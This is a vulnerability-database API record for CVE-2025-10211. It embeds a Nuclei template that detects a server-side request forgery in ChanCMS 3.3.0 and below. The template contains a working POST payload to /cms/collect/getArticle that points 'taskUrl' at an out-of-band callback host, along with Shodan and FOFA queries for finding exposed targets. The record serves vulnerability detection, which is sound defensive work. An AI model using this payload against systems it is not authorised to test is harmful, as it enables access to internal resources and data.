{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-10211/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-10211/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-10211/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-10211/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-10211/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-10211"},"sightings":{"href":"/api/v1/sightings/cve-2025-10211"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-10211.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-10211\n\ninfo:\n  name: ChanCMS <= 3.3.0 - Server-Side Request Forgery\n  author: Yu_Bao\n  severity: medium\n  description: |\n    yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the \"taskUrl\" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.\n  impact: |\n    Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.\n  remediation: |\n    Update to the latest version of ChanCMS.\n  reference:\n    - https://gitee.com/yanyutao0402/ChanCMS\n    - https://vuldb.com/?id.323484\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 6.3\n    cve-id: CVE-2025-10211\n    epss-score: 0.00705\n    epss-percentile: 0.51254\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.html:\"ChanCMS\"\n    fofa-query: body=\"ChanCMS\"\n  tags: cve,cve2025,chancms,ssrf,oast,oob,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/cms/collect/getArticle\"\n\n    headers:\n      Content-Type: application/json\n\n    body: |\n      {\n        \"taskUrl\": \"http://{{interactsh-url}}\",\n        \"titleTag\": \"title\",\n        \"articleTag\": \"body\",\n        \"parseData\": \"return data;\"\n      }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'dns')\n          - contains_all(response, 'success','article')\n          - status_code == 200\n        condition: and\n# digest: 4a0a00473045022100da15994b287f4604f5b3915715ee2a62a7aebc6efae44359d7e07fc9aa9a2a9a02202b9dec9a5751f7d423ec17f5f66e74d3b7be4f9419a720a9192419b62a13174b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-10211"}